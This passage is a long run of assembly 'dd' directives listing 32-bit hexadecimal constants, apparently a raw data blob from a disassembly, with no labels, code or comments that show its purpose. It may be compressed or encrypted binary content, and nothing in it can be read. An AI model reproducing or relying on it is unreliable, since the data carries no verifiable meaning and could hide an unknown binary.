		dd 5C26F99Bh, 0EE368406h, 7E812572h, 0E53F9859h, 4CBB4E68h
		dd 0C50A7470h, 40AE6C95h, 0E358B10h, 35BED148h,	0FADD854Bh
		dd 0BF57A18Dh, 0A1130935h, 563F38F5h, 0D71FF9AAh, 165453FFh
		dd 11AEA3FCh, 0C62D01C5h, 0AFD4A962h, 0D4A5422Dh, 48BC2AFh
		dd 490507A9h, 0E874848Ah, 9E085060h, 1DA94FD3h,	0FDD0165Ah
		dd 0CF5177BEh, 23086CBh, 0BD0A6275h, 540A722h, 16AD84DFh
		dd 7350613h, 4F27868Bh,	0C06AD401h, 53044C6h, 29E80A4Ah
		dd 875F2EDAh, 344251A2h, 294E7F30h, 98B53AFCh, 5F056AC9h
		dd 0EDD01E59h, 898BA465h, 0A9B55A0Dh, 96EEB63h,	18736D23h
		dd 5BAD253Eh, 0D3182205h, 0FBF7A19Ah, 30BCB09Dh, 0C88A0437h
		dd 5780A842h, 764BCAF4h, 0D2091E23h, 0A09FF3Fh,	2E3000Ch
		dd 9D88FB24h, 0EE9C2A6Bh, 3106143h, 10CA5BC8h, 0CB38EF26h
		dd 8A209C45h, 681A3C0Ch, 0DC08BAEh, 0B6A00B74h,	28D0FF47h
		dd 4970165Bh, 731A9AFCh, 0CF54518h, 0BF0692B4h,	5E8196F4h
		dd 470D07C6h, 73AB8BBCh, 0EE5935CCh, 0D54112B2h, 0A23D11Ah
		dd 76471532h, 41748B59h, 4896F171h, 5CAA42A1h, 8F176020h
		dd 88470B8Bh, 5314402h,	413B29EBh, 80F17548h, 0C8BEFFD5h
		dd 0EBA62EEEh, 12BF9C18h, 6C3A57A7h, 4741A02h, 0A2C07888h
		dd 83E29893h, 0EB023CA2h, 742A5E49h, 93064CF4h,	7802E544h
		dd 8E2B6B88h, 47C610Bh,	0F2ED594Bh, 548B3E54h, 44CAF4BEh
		dd 5D22AE0Fh, 3DAD7D0h,	33FB279Fh, 0BDBF6599h, 624DBF91h
		dd 0F5DB339Ah, 8A00E1F9h, 74613C07h, 0DE72E81Ah, 0C356256Ah
		dd 0CD4E2212h, 29038BB9h, 9F055E8Bh, 8BFBBCEh, 14270936h
		dd 5A900261h, 91EF478Ah, 4D20C33Ah, 0D33B88E3h,	4B51DEBFh
		dd 0F85C21F5h, 7E9D7F54h, 2BE8CE60h, 190A45ACh,	0E8136F4h
		dd 9914B12Eh, 3941AC9Ah, 4AF9C4BCh, 8CCABFA3h, 20C98302h
		dd 15A4B7EBh, 7242698Eh, 6E862A2h, 0EB147DEAh, 820498E9h
		dd 29C1736Fh, 0FCAB30FEh, 81C620DEh, 254780CEh,	0A05F82EBh
		dd 75C88567h, 920B7459h, 0C3EC73C0h, 487462CCh,	102E368Fh
		dd 12690B78h, 40F7850Ah, 91032585h, 0C5CD803Bh,	0F8C81F59h
		dd 9E372EF5h, 0BF2F0E4Eh, 9017EB5Ch, 0D2CEA217h, 26178B02h
		dd 15807477h, 846E0CD2h, 0A468C650h, 0A9CC914Bh, 3B328BAEh
		dd 0C47EDA78h, 7D5BCBECh, 0BA1ADDF4h, 49CE98A8h, 89124DBCh
		dd 58990770h, 0A186604h, 1C060867h, 791048E2h, 0F51596CBh
		dd 17266C57h, 6CF2ED33h, 7E57D501h, 6F1D8B5Dh, 0C3FBB123h
		dd 74CDF80Fh, 41F62C15h, 16662C60h, 7EE0BC40h, 0EC7CC201h
		dd 348B3FEBh, 0A824ABFFh, 12206AF8h, 0EA02E7C1h, 0A10D7D8Ch
		dd 0EB618930h, 3CE9306Eh, 0FD263B07h, 0F71DB174h, 58F0F595h
		dd 89FF0D55h, 76CFEC6Eh, 2EEECCF8h, 719D1C0Ah, 0B1516474h
		dd 8EC17BF8h, 0B82DF981h, 0B90C7717h, 4B780FAh,	0A252EB41h
		dd 2024AC2h, 0FDF9C10Fh, 0FC44D411h, 5E5B8001h,	0FE65B781h
		dd 734D88C0h, 0FD4509FCh, 8754026Ah, 0F2EEC1BBh, 4D8D13F1h
		dd 0C2AE520Ah, 0E45551B2h, 8AA1B7BFh, 3FF43402h, 689E2EB8h
		dd 45A8C3E4h, 0C9A230Ah, 0D4CC327Dh, 0FEE0ADE2h, 0A804105Eh
		dd 0F3840F82h, 0EB214DA6h, 31160117h, 10849927h, 0D46033D9h
		dd 0FE242E08h, 3D502EBBh, 0E8D7B25Dh, 0EF241373h, 6670E517h
		dd 27FE8122h, 0AE86D598h, 0B8451008h, 0C4533E30h, 0AE3D36F1h
		dd 8176A9F5h, 821B44Bh,	7457010Bh, 225EDB64h, 0B2A4D8F0h
		dd 0C3974918h, 7E04B04Dh, 7A509710h, 63683ABDh,	33EB99CFh
		dd 169EB47Eh, 2E968B48h, 832EFCCBh, 1B850442h, 0B804C8BAh
		dd 0EC40F621h, 0D4F7420h, 537D0BEBh, 0B5C79914h, 88374D8Ah
		dd 7770095Bh, 5F8AB12Fh, 6039D153h, 742F5F42h, 0EBB26806h
		dd 5F70920Fh, 0AE26D725h, 3534C9F2h, 0EBA92E8Eh, 0AB7748C9h
		dd 0B130FF9Eh, 47481F8Ah, 4EFF4B00h, 20DAEC66h,	6280C8Fh
		dd 8DF04D89h, 0FA87076h, 14D0603Fh, 0FEC5539h, 31DC8C30h
		dd 3020FB80h, 780A137Ch, 0E1BD0E7Fh, 1CF98AC2h,	83D2077Ah
		dd 61CBB9E0h, 0C684200Dh, 0E1681F3Ch, 728794Ch,	0FD00C8Ah
		dd 0FF639A87h, 0DFD22451h, 0F0924B69h, 6CC644Ah, 10E008D8h
		dd 4DFC20E4h, 0F61ACFDCh, 26629347h, 0A3BE506h,	2D400375h
		dd 711FF408h, 3F39B148h, 5936A648h, 0FC2A7483h,	13C82808h
		dd 32FC5304h, 12750E80h, 0FBC00288h, 9023752Ah,	9CC4BF15h
		dd 5D1EF727h, 0A9E7628h, 4147128Dh, 0A2D8F704h,	8B62281Fh
		dd 76CBBE2Fh, 44823985h, 0E9EBD041h, 44F08B87h,	0BE10BEEDh
		dd 0C41E233Fh, 5D304F0h, 3AC01124h, 1B896865h, 39436F3Ah
		dd 0ED492C74h, 0AA680A33h, 1A6C0520h, 0AFC90AB9h, 4D4D41A0h
		dd 21B94BFDh, 60204410h, 7575363Fh, 767F7A14h, 0A90E7C34h
		dd 4AEEFDC6h, 89192878h, 1765D016h, 14EC1D57h, 0ABCEF634h
		dd 0DF197409h, 0D3AFCB59h, 80F60934h, 9AECB10Ah, 193C6947h
		dd 0B1532FD4h, 8FD867F8h, 0BA02551Ch, 0C34365E5h, 5A5E8496h
		dd 0F8442458h, 4178E2A1h, 7C43E818h, 336ED527h,	506C0970h
		dd 2085FC22h, 0C49003E9h, 305E5498h, 0C142BABCh, 0FE3B844Fh
		dd 0FDBE7E22h, 5A1A45AAh, 0B876220Fh, 0A1C825D2h, 1FE84D1h
		dd 0F0AAE04h, 0A408BA09h, 0FF26B4D0h, 0D527EA1Ah, 0D641270Eh
		dd 91D2854Eh, 0B14ED442h, 0CAF3994Eh, 0EBC44015h, 0BB4CB5E7h
		dd 20C38012h, 8D401442h, 7E705DBDh, 0D4CA3B2Dh,	0CF25BE5Ch
		dd 6F07F10h, 0F2CC228Ah, 848EB4BFh, 90878478h, 0EB89842Fh
		dd 0ED3FFE2h, 631688A6h, 40F40132h, 0CA327DB6h,	0A5FD880h
		dd 0FD429EBh, 0AD9745Ah, 48C5D409h, 2F22FADFh, 9BC608E9h
		dd 8859C480h, 51F73BAAh, 2F48A19Fh, 0F5E9140Ch,	0A003494Dh
		dd 2D8B3374h, 51400448h, 86B8F62Ch, 171C9C90h, 0D10BBF0Fh
		dd 45335CE8h, 56E774F4h, 292B1F32h, 423C34FAh, 0A0A1460Fh
		dd 9CCC0A44h, 5CF31D50h, 1548813Fh, 7A5673Ah, 503B337Fh
		dd 0B6CC51BAh, 98914D7h, 98BCF036h, 19B84D3Bh, 0BC1EFC40h
		dd 0D20AC925h, 56DEFD77h, 9F7A2DFBh, 0DAEC8897h, 0E6811404h
		dd 0F1746EB4h, 2177E56Ah, 91250D36h, 59283C42h,	8512145Eh
		dd 34B217F6h, 2D57981Ah, 3B0D4975h, 527D2A58h, 6251E1B9h
		dd 0D0EAAC2Bh, 241AD4A7h, 0D11B1769h, 51225B1h,	276ACCFCh
		dd 740750BCh, 9F815158h, 0E669FD1Bh, 24B15529h,	9DC99234h
		dd 0D48CDCF6h, 4BEB2127h, 15BBB53Ch, 0A0FE6248h, 74F7B832h
		dd 3A1BBC08h, 4ED1F1C4h, 8FF4425h, 73E52E1h, 5ECCD029h
		dd 2E30AF80h, 0CF8A5D74h, 0EA81C628h, 6B510430h, 26729BDh
		dd 15EBD788h, 8223248h,	0C3503B11h, 9135EB02h, 20396C98h
		dd 92D9A90h, 0A098C366h
		dd 6DEB0889h, 5D0E1105h, 8C6B32F6h, 0AA0A7B40h,	7460606Ah
		dd 0A3BAC0Ch, 41EB592Bh, 21740C3Eh, 4B99400Dh, 10650C93h
		dd 99C0BC01h, 0C4C25EBh, 0F2EDF9B7h, 8C08215Ch,	8E0EB29h
		dd 1AD2330Ah, 0E41B740Ah, 7C177F05h, 4E7358E0h,	0F253B111h
		dd 0A43B5A76h, 34F6ADAh, 6804EBFAh, 3780C18h, 0E7830375h
		dd 0CDB38984h, 6BFE2709h, 0F772C038h, 0BC60C8Bh, 0E41575C7h
		dd 0B7C292E1h, 854325AAh, 9662865Fh, 1A067F28h,	2002EF83h
		dd 505299F4h, 27A55657h, 0EFC70CFFh, 0EF205ECDh, 0C3833143h
		dd 0C0102530h, 0CC435756h, 39FBE9B0h, 37E6841h,	0CDD45DC4h
		dd 0CC82F862h, 0EB331888h, 682BA3B5h, 9380061Bh, 13A65602h
		dd 80C0C03Fh, 75553039h, 980B21AAh, 0C621404Bh,	37306801h
		dd 0ED81699h, 20FC8594h, 0FC5D8B05h, 0D30EC3F6h, 76C7A926h
		dd 1A8B2ADAh, 2014EB2Dh, 0ED2B0B11h, 0DA020309h, 9220240Bh
		dd 329019Fh, 9F2BE092h,	0C9F406ACh, 798B0C32h, 6A568538h
		dd 8884205Ch, 0AF1016B5h, 4EEA5033h, 868CBD2Bh,	0D32DE6F6h
		dd 0A3F595Ah, 21324B04h, 168A4830h, 0A4AEC5DCh,	0FCA47EB4h
		dd 8DF88F80h, 0DEFF7824h, 9143030Ch, 0C6DAE9C8h, 26C4B7DFh
		dd 0EA8D3224h, 18F82827h, 8B055AA3h, 0DC424FC7h, 9A15EBD0h
		dd 937C5D59h, 0ADEA7848h, 0A674040Ah, 25FC945Eh, 1050FA1Bh
		dd 0F94F1305h, 86EC16B4h, 4270DE70h, 4170B47Fh,	1B09CF66h
		dd 9526419h, 898F485Ah,	0C4FD0122h, 0C4D017Bh, 780449FFh
		dd 8A11E80Eh, 2CC0597h,	0B6E182FEh, 6E0B3161h, 0A45FF9B6h
		dd 0F86583E9h, 7EF8109Fh, 7B5D8D40h, 8AFE1C3h, 0AA68A3F4h
		dd 54217E62h, 561806DEh, 5C970BFFh, 0BA936BF5h,	1C2A3E9Bh
		dd 7F4E2107h, 0AB2F59E5h, 0B6FB145Fh, 6665724Bh, 6D1C7B26h
		dd 0D22105Ch, 6D465706h, 375C50F5h, 50D9843Fh, 5B02E26Fh
		dd 83475576h, 5DF87D0Eh, 3E0D4353h, 4104E408h, 0FC5164C1h
		dd 663F1D4Ah, 0C5F53C6Bh, 9B82373h, 4F89E2F8h, 95BE02DAh
		dd 0E6A4F52Fh, 0DB33456Ah, 457AF4B8h, 0B8F62056h, 48E1B059h
		dd 72741749h, 4243BC1Dh, 17D1A03Dh, 0FBF17C1Ah,	225C9E8Ch
		dd 6B54270h, 2555249Dh,	0BFF0406Ah, 0D280BF1Ah,	0E8D1818Eh
		dd 51508901h, 0F2AAABF3h, 0C0844F1Dh, 0EF860F1Eh, 7D8DF994h
		dd 0BBFD14EEh, 0EFD00915h, 0F9B74275h, 3746A80Ah, 0D308FF41h
		dd 87F9C23Bh, 88264193h, 48B9781h, 53EE430Ah, 8D920B53h
		dd 1FE05234h, 43DE6C1h,	0C09E15AAh, 15F94A92h, 2C74CB01h
		dd 0BB01518Ah, 7E25B58Eh, 3BFA8C40h, 9D1477C7h,	928AC501h
		dd 8438AA8h, 40184790h,	71F57628h, 2DC09D41h, 0A99DD475h
		dd 0D08E0913h, 72041722h, 965F9C1h, 5FD17C05h, 0A352F746h
		dd 0F90C54ADh, 0B68D2C0Ch, 65BF79B4h, 0FBA52170h, 0BC278A84h
		dd 1655EB83h, 49FF7983h, 497D4835h, 0A25858AEh,	3D402D08h
		dd 0F1726721h, 243A5456h, 0EB55282Dh, 4FB0651h,	4EC3110Ch
		dd 0EB02AB30h, 1D25390Dh, 7413405Ch, 5F31A10Eh,	5F880543h
		dd 0C8B2E03Ch, 0F870969Fh, 0A122A225h, 1075FE56h, 8C7C98BEh
		dd 5425FF12h, 0B4FD6B32h, 4584315h, 0A10F75FCh,	1A5E50EEh
		dd 2D4A44A4h, 7AF4B1A4h, 0F5E85EB0h, 0A9717D5h,	48F00F0Dh
		dd 0C3DC03ACh, 0BBE3B87Fh, 6122A43h, 7C8408F8h,	21578911h
		dd 0C0E3606Dh, 0AA956D93h, 0DD18D4B5h, 0DD21C669h, 5F5BC4A2h
		dd 5144931h, 0A7C8BF05h, 0A4E891FFh, 1616790Bh,	88BE527Ch
		dd 5848809h, 40FD24F7h,	0F42C38E8h, 94F21D31h, 20250E85h
		dd 3700C354h, 558D5753h, 8B099DF3h, 84D540ABh, 0AAE1D74h
		dd 862BBCB6h, 320B841h,	8295E4BFh, 9593FF85h, 0C542AAB9h
		dd 0A6FFCD8Ah, 5F06E96Ah, 0C8E86A5Bh, 0EA34FA88h, 7B248E24h
		dd 566298FBh, 75E90FBEh, 1EA27373h, 7A1F5657h, 49C435A4h
		dd 0FC32A822h, 77D62717h, 61522868h, 0CB435C68h, 73138D8Dh
		dd 78113A09h, 1674248Fh, 8A10C0FBh, 65A30594h, 118090E9h
		dd 36841CEBh, 62107402h, 0B9051320h, 0A080E3EBh, 82121D12h
		dd 9013D15h, 3A49EBBFh,	0C90F7D16h, 5A0A19CCh, 4C8CAB98h
		dd 0C13DC879h, 4AA9FC20h, 6132861Fh, 150A1372h,	4F0E777Ah
		dd 0D4E93C99h, 4DACE0EBh, 5EBE97C5h, 0B42AF7BDh, 0C182BFA5h
		dd 9E5AFD6Ah, 0FD594924h, 0E9D3B408h, 7C3DE090h, 0EA742EA2h
		dd 75068998h, 29E6BD11h, 20E73EFFh, 0E063EB13h,	0AD9C560Fh
		dd 0D2423D17h, 404A018Ah, 58F6F087h, 88C07586h,	47137407h
		dd 19354166h, 161ADA2Fh, 0C414AEA4h, 10084CCAh,	0F0E5752Eh
		dd 6725800Ah, 0CCF8CFFh, 2E80B0FEh, 197F4AC2h, 0DD8D625Eh
		dd 0D4DC4701h, 0CAB598D1h, 275F9A86h, 0C7F35D5Fh, 0C4C5F649h
		dd 64AF0861h, 48A6087Ah, 0E4A00494h, 88BB4FCh, 0C0FB8129h
		dd 7D287D09h, 221CF96h,	2585153h, 0C4317F02h, 0E880E6Bh
		dd 6DC2F649h, 0C3CA3E7Ch, 0FC3C884Ah, 24034286h, 7D52EA08h
		dd 0A94DC9BCh, 0CAB34FC2h, 0C861FBA4h, 323BD233h, 652B824h
		dd 74083B0Bh, 42CF4020h, 94D3F03Dh, 0F986BD13h,	0A1D7213h
		dd 18772416h, 6AB620BCh, 0A4D50419h, 1147A357h,	7CF981D2h
		dd 12728CCCh, 118ACA10h, 76110826h, 0D48B6E0Ah,	3B038D4Fh
		dd 63A7C312h, 0CD774A7Eh, 49BA2E7Eh, 825B0B37h,	4AD16315h
		dd 0CC6BEECDh, 5204759Ah, 60853C83h, 5931678Dh,	0F97F0A09h
		dd 20750B93h, 0E3FF7653h, 81EC0789h, 211446A8h,	5FD13B15h
		dd 0C995806h, 41040618h, 0F53F8BE6h, 7E14995Eh,	10BF3E26h
		dd 4E816681h, 0A611020Ch, 75256AB9h, 2F831511h,	16FC56BEh
		dd 3BD6E544h, 0D2106DC3h, 83187D29h, 0EEF86680h, 184E8374h
		dd 0EA08FF5h, 0C9595BC3h, 404491D4h, 0DA500710h, 7C28CC26h
		dd 858782C4h, 907109EBh, 25917827h, 0C509068Ah,	0CC0A4C0Ch
		dd 0E1270F76h, 4332DE09h, 0B6905EBh, 2A1C7736h,	0C0A2C043h
		dd 0EC857532h, 4071B836h, 8D845E7h, 4108024Bh, 2608133Dh
		dd 146461Ch, 0CF2738A8h, 659C7610h, 82122D0Eh, 3E80EE92h
		dd 0D99EE025h, 6490A408h, 48E809CBh, 22F291E9h,	0B6EA5CF1h
		dd 840CFF34h, 0E49B0983h, 688DA5Fh, 0F345C6F4h,	0D0640E01h
		dd 0EE125E8Ah, 8D04C768h, 815A914Eh, 0CFFFF445h, 8964ACDCh
		dd 0FA2D5843h, 836500EBh, 3E7F4EFBh, 0ECB5E74h,	0E395E32Ah
		dd 4E54D346h, 6018A80Ah, 37754C0Ah, 0EBC8CEFEh,	17E8061h
		dd 0AC2CED36h, 0A128BD0Ch, 9723E5E9h, 38F9D07Ch, 8B5B415Eh
		dd 9D27EBF0h, 2259F246h, 0C528685Ah, 376C5075h,	8008F477h
		dd 0E6DEBF1h, 0C3FA0679h, 734DEB9Ch, 2780F010h,	5B05F17Dh
		dd 14D4D64Fh, 0C913F24Eh, 22FBA2C5h, 0A361BC1Ch, 0DF0CBC04h
		dd 99D46922h, 0E4417DEAh, 88201475h, 9A536E3Ch,	1A9E438Eh
		dd 0ACC17880h, 65ED4704h, 401FB801h, 832633CAh,	0FE0CD6CEh
		dd 32C4826Eh, 63102874h, 7BFA7AF8h, 0BF39FABFh,	702B10F4h
		dd 1F3787A4h, 7E0E2038h, 69F9B50Ch, 19F23914h, 0F40A0974h
		dd 0F0DC8242h, 6F66CBE6h, 25EDD02h, 420A1E0Ch, 12633305h
		dd 6422FC2Ch, 1504F803h, 0F6A8E31h, 387E670Ch, 7435690Ah
		dd 9B04E31Bh, 0BC510257h, 4C4E865Bh, 0E98F9BE1h, 6A17B0C0h
		dd 985E5164h, 64FBD060h, 507E422Dh, 1E91CA8h, 5137A9Bh
		dd 3CB58D2Bh, 37EF18FEh, 88280E75h, 22C80B9Dh, 3050A43Dh
		dd 17752B26h, 2890559Ah, 76B8F44Fh, 0FC5AA8D1h,	0FFEC8B8Eh
		dd 0CD83EF49h, 485FC2E0h
		dd 9A5DF40Fh, 847E4A9Dh, 380956A0h, 4A870476h, 262144DCh
		dd 1715CCA8h, 8815E4B0h, 0E05E461Eh, 621D38BBh,	66758B98h
		dd 4B5C29B9h, 1CA02823h, 2A068828h, 0AF6E4652h,	0E1E4C940h
		dd 90F3EC3Ah, 0D26528F2h, 7450AC9h, 23088025h, 0C6768239h
		dd 379E6506h, 75142DABh, 24860575h, 1EC52746h, 4D282C66h
		dd 0F2BAC21h, 57A76864h, 8B21290h, 91980932h, 946353A0h
		dd 6668A242h, 5F609A4h,	0A006DC32h, 50CF154Dh, 0C026A9CCh
		dd 80FE3C83h, 0BE4C0F50h, 165048C8h, 87BF48D4h,	2EB06D99h
		dd 0F852CC25h, 0D8A15256h, 216E5E2Bh, 7E44B624h, 0E8EAA6D3h
		dd 4CD310BFh, 3891B43h,	831663F8h, 89FF70E8h, 0B6242A0Ah
		dd 2AD9B1EEh, 1196B64Ah, 0A2E1C3C4h, 24BD13ACh,	3B263FD7h
		dd 3FFA32A7h, 0EB2C8529h, 4C38A61h, 0BC2C2A22h,	8571A21Dh
		dd 0A78B1E62h, 80196644h, 0A74A5E3Fh, 8DC720C2h, 72AA0178h
		dd 57223291h, 0CD0C54EDh, 5287C44h, 11EB01F1h, 36570E8Fh
		dd 7430FB1Ah, 8D5B50DDh, 4063271Ah, 2F743B19h, 2AD55810h
		dd 54F6F331h, 638CA57h,	0BF5E6F6Ah, 2FF80428h, 3AB23BA2h
		dd 306A3681h, 0F516425Bh, 8C366DCDh, 786A0985h,	101ECFEBh
		dd 0C5300845h, 0E9FF5AE8h, 7D9C2FD5h, 7BE8B69Eh, 0C6811AB0h
		dd 0B209D45Dh, 56C447E8h, 0FEC020A7h, 0B7CB558Ah, 74C3610Fh
		dd 84AD475Fh, 4293BE36h, 86EBFC3Dh, 36032039h, 73D13A47h
		dd 0EBC1E104h, 0BDC2089Dh, 77D0177Ch, 6908621h,	0F22BF003h
		dd 90CA8B46h, 12E183C2h, 0EF01B307h, 19C8872h, 0F5754E42h
		dd 0B4EBF432h, 8AC844C0h, 0AFC18BD0h, 9BEB0D1Fh, 19924ECh
		dd 85080445h, 9A4E9203h, 0D4E5E778h, 0BB4F1A32h, 0D095A51Eh
		dd 0C948D4E5h, 9F43940Eh, 84A48251h, 0CDF9775Ah, 7E063228h
		dd 16AC88Bh, 2C5A4CCBh,	0D3E85D06h, 0C1181CE2h,	4C1603F9h
		dd 339C010Dh, 74D185CBh, 19CF2260h, 0EA0C5275h,	37FA176Fh
		dd 0C8454291h, 999D3158h, 4F5C0D47h, 0C92ECF59h, 931DFCB6h
		dd 0D47B27FEh, 8B40ECC2h, 57AD2FCBh, 0C42E94FAh, 3BC8214h
		dd 9E021ACAh, 4C0FE9D4h, 0A4D072D5h, 50B58908h,	0A239B05Ch
		dd 28A502BAh, 8CE6503h,	0E668027Fh, 7291E3ACh, 0A0648642h
		dd 17A4BCD4h, 0C1622083h, 52089A80h, 0BCAB34Fh,	0C6920675h
		dd 4E458062h, 24EFB35Ah, 0B94DD03Ah, 6B5D0128h,	0EF72E9F1h
		dd 75253E92h, 0BF95944Fh, 0A099E844h, 25280D64h, 559117A2h
		dd 391473A3h, 0DC5596D8h, 0B559C70Ch, 53A01B37h, 189C1E89h
		dd 0BBD50719h, 2B53964Eh, 0F05DCCECh, 1575286Fh, 7D3814B8h
		dd 3C85053h, 0DD3909CBh, 0DC73A3C4h, 79C5D8E6h,	602520CBh
		dd 438D1190h, 19932D0h,	0E508111Ah, 0F05D0565h,	322B2456h
		dd 0F7052254h, 0ED90FF37h, 842BE920h, 4D9EBBDCh, 0D16D4167h
		dd 75AF78C3h, 611AD8D9h, 0F93D506h, 7486B211h, 70750A3Fh
		dd 0BCC53A52h, 0A428476h, 0E7C16C00h, 8D3FEB03h, 0D1BF3C1Eh
		dd 4E91FE3Bh, 37BCBC7Eh, 391EE96Ch, 0DA10E48Ah,	1F2B7C8Dh
		dd 678DED0h, 74C7851Bh,	84DFF7A2h, 11EC468Ch, 0CECC32D7h
		dd 29CF1929h, 0D0325633h, 4E6A1048h, 124DFE0Ah,	0AE035308h
		dd 0C91015A0h, 629BF33Eh, 0C338E4DFh, 0A3E66AEh, 58DA77FEh
		dd 5904D5D2h, 0D3BDA342h, 0C9060012h, 9CFBC33Bh, 0CA55930Bh
		dd 88144DA8h, 28327318h, 85C8500Eh, 9F5A3E25h, 1E5855E6h
		dd 7C3F2A9Eh, 170CC8CFh, 0CF6EF70Fh, 5CF02944h,	2769A8BDh
		dd 5C05F656h, 0D7C76430h, 0A205B4C4h, 2C28D5E7h, 0E7722617h
		dd 10C40AFFh, 9A64BE52h, 2887EDCCh, 0E49DAC38h,	89F2B748h
		dd 0EDF3CC5Eh, 107E56C2h, 4E191DDh, 6D5BD1E6h, 69F63A21h
		dd 0E614F097h, 0EE0B3090h, 62C68B07h, 0E103D76Fh, 78994AFFh
		dd 2A0AF509h, 0C3D879C9h, 0C3D99D52h, 0DFB312ADh, 0D977CC42h
		dd 9E06497Eh, 0ECBF9EBFh, 1025CEB2h, 23310689h,	19D9FAF8h
		dd 0E7C7E9ADh, 8564AA2Bh, 0D8108F1Ch, 24737F52h, 2501DD14h
		dd 0A4C1ED4h, 0FEE68D9h, 0A501CA0Fh, 0E4B6A44h,	5DF4E5B1h
		dd 55C2B7C3h, 2191CCDBh, 31757169h, 5D020C70h, 584D53AEh
		dd 189B702Ah, 0B88C505Fh, 8C2FFD0Bh, 27D4221Dh,	0FEE009F9h
		dd 0D6197F50h, 0E1E81420h, 284A8C8h, 180A4C09h,	0E90E4231h
		dd 0A80496BAh, 2880D32Ch, 8FDD9D20h, 0C510119Bh, 9A29500Ch
		dd 0B4B5B44h, 7088D59Eh, 1C6B4DA2h, 0C9811898h,	35802E09h
		dd 4B53C033h, 0AF40A156h, 0DDDDD015h, 5B63A212h, 0B88A0C0Eh
		dd 0E6C1F610h, 0FC0D4B74h, 8FD09E88h, 5809C005h, 0AC24BF04h
		dd 24931222h, 28BC083h,	12ACCB84h, 4B6E9146h, 338EA290h
		dd 2F11AFDCh, 0CF908813h, 8F9AE517h, 19026A22h,	0F7DC5030h
		dd 0CB2300D1h, 0C1EFE283h, 0B2704E1h, 8207F0CAh, 2A2D0D84h
		dd 2683359Bh, 0F3363DBFh, 0DD173043h, 2333E91Bh, 0C1E0FB2Eh
		dd 402303E9h, 6585FDCFh, 0FE600A05h, 102A917h, 74C3846Ch
		dd 83E95007h, 0A8F80C49h, 7F0B0456h, 7B14DAF7h,	6FBA104h
		dd 7909178Fh, 1520997Eh, 8F580245h, 1FB90EB0h, 2304BFE8h
		dd 3D3474C1h, 0D93A5DEBh, 12080E1Fh, 4286570Ch,	837D4728h
		dd 5EEE034Ah, 0CFB6EA00h, 0A8ACFD8h, 168F680Ch,	7A8B1CBh
		dd 0FC20C245h, 0F20D0311h, 3E320205h, 0E3201022h, 9F1AEB23h
		dd 4C94FE7h, 6F0D0BAAh,	897A7830h, 144D1F84h, 645AA781h
		dd 2A9010F8h, 0E238057Bh, 51FE3F1Fh, 111B14D3h,	483B799Eh
		dd 0F4E35E66h, 1D1CE683h, 2737DD18h, 0A4105852h, 6837501Fh
		dd 1C7D666Fh, 0DD118044h, 403EC907h, 2E7A1011h,	77530E49h
		dd 0E415C719h, 3AA04270h, 20E740F6h, 831B0304h,	0EC13FE26h
		dd 424FB22h, 224F722h, 5884EF20h, 40DF1AA9h, 0F3FFBAA7h
		dd 0E11A67B4h, 25D2C81Ah, 0CE16E649h, 75C00906h, 14E801Eh
		dd 184892B8h, 0E53D7889h, 8CD9EFBh, 0F70A50B9h,	0C7B6C382h
		dd 162102C1h, 0B6766CA5h, 3407E18Ah, 0CC781310h, 0EB2A1662h
		dd 234A1263h, 2483CCAh,	180907A9h, 40DD5A03h, 2B1FCDE3h
		dd 88A437BCh, 574E5339h, 4CE71CB0h, 0B450B21Fh,	14740A5Bh
		dd 17AB5D84h, 736E270Fh, 2C2559ACh, 0D6B02F7h, 16D848F4h
		dd 0DC7098F6h, 0AB6ADE0Ch, 0D4FB101Ah, 26AF5FFDh, 69F3DECh
		dd 7815C8EAh, 4822A46Ah, 0F893E0B8h, 0C823196Ah, 81118830h
		dd 35E823F9h, 0E9311058h, 308B3B28h, 82FC9085h,	0DC01DD60h
		dd 7860241Dh, 5383C2Ah,	0FAB1125Bh, 2776603h, 5DD3AFD9h
		dd 41E09DF4h, 0B120A56Eh, 88087635h, 1ED3F04Ah,	232D29EBh
		dd 0B9469028h, 0F018D4C1h, 1ECAD343h, 0D3F07870h, 1928BB8Fh
		dd 3AFE43DAh, 3E114BA8h, 0F9659CDAh, 55F0AF3Dh,	6698CB92h
		dd 0CA0EF34Ah, 913014DDh, 8F46D971h, 0D7BE2516h, 76A3DACh
		dd 0FDAB0F8Bh, 920CFE91h, 4138D59h, 0FD01F5A1h,	0C8BFBCEh
		dd 668D097Dh, 0EB2B8A8Ch, 73714354h, 95D33970h,	8AD20260h
		dd 58FA4525h, 0B74E980Ch, 0B827A952h, 80FA6203h, 2B1F7D2Bh
		dd 608469C1h, 9ED03E8Bh, 6DD18188h, 0F81C9FF7h,	43CCC2AFh
		dd 17187902h, 0B5E37548h, 0C799A128h, 1843A248h, 605566EBh
		dd 6A24325Eh, 0FD51B510h, 8A97CE44h, 8AA6D4DAh,	956A0B0Eh
		dd 80EF8B17h, 5FFF85B9h, 92C2BD5Bh, 0BFA64E77h,	0EEB073C4h
		dd 0BCA2C44Ah, 2A74E41Bh, 0F6566425h, 53144463h, 7556115Eh
		dd 1CBF88FFh, 0D33684Ah, 750EF528h, 0E057DE20h,	243F86A2h
		dd 10B023CEh, 0EBB2BAECh
		dd 2D382579h, 9055A41Ah, 509E0EDFh, 9FF8A359h, 0C83C7408h
		dd 0C69CAE2Ah, 2069369Eh, 2FBCFB59h, 124B4B70h,	7F84CDFCh
		dd 588BFB15h, 1E96C325h, 0C91233F6h, 0C45318B8h, 603BC609h
		dd 9D0E74C1h, 3D413F81h, 9DED08F0h, 41BD9FAh, 0C3191CCDh
		dd 7B97598Ah, 56A0B7Eh,	98AC16EBh, 0EF00110h, 8729FAF1h
		dd 988F0619h, 5B580311h, 0B0DF13C3h, 2FE7D10Ah,	8500498Dh
		dd 97FCD908h, 5FA7FAF9h, 61BD34CEh, 31890EE8h, 0DB54FE05h
		dd 0F0D3DACh, 0C33A4180h, 92A40B17h, 29B2FEA8h,	7D81BE82h
		dd 7FF0F868h, 3909751Fh, 165908DDh, 12483CD7h, 75818CFFh
		dd 0B895852Ah, 0BAD17FF8h, 0DC2166C8h, 19EC27ACh, 89F9A417h
		dd 0AF7136Bh, 71615B9h,	59670CA8h, 6E025B74h, 38765D58h
		dd 0D295523Ah, 6A562C62h, 9A0892Dh, 83900844h, 1089ADA4h
		dd 66070661h, 830E6474h, 110F3265h, 0B957024Dh,	4832BE33h
		dd 0EA736F64h, 0F68CC1F9h, 0DEC3105Eh, 120C65D1h, 0B800B12h
		dd 16068303h, 80A1A01h,	89E7EB4Eh, 0EF0E963Bh, 5E4899ECh
		dd 8264E491h, 34CECB51h, 0EDF9DF28h, 4616272Bh,	0E491968Bh
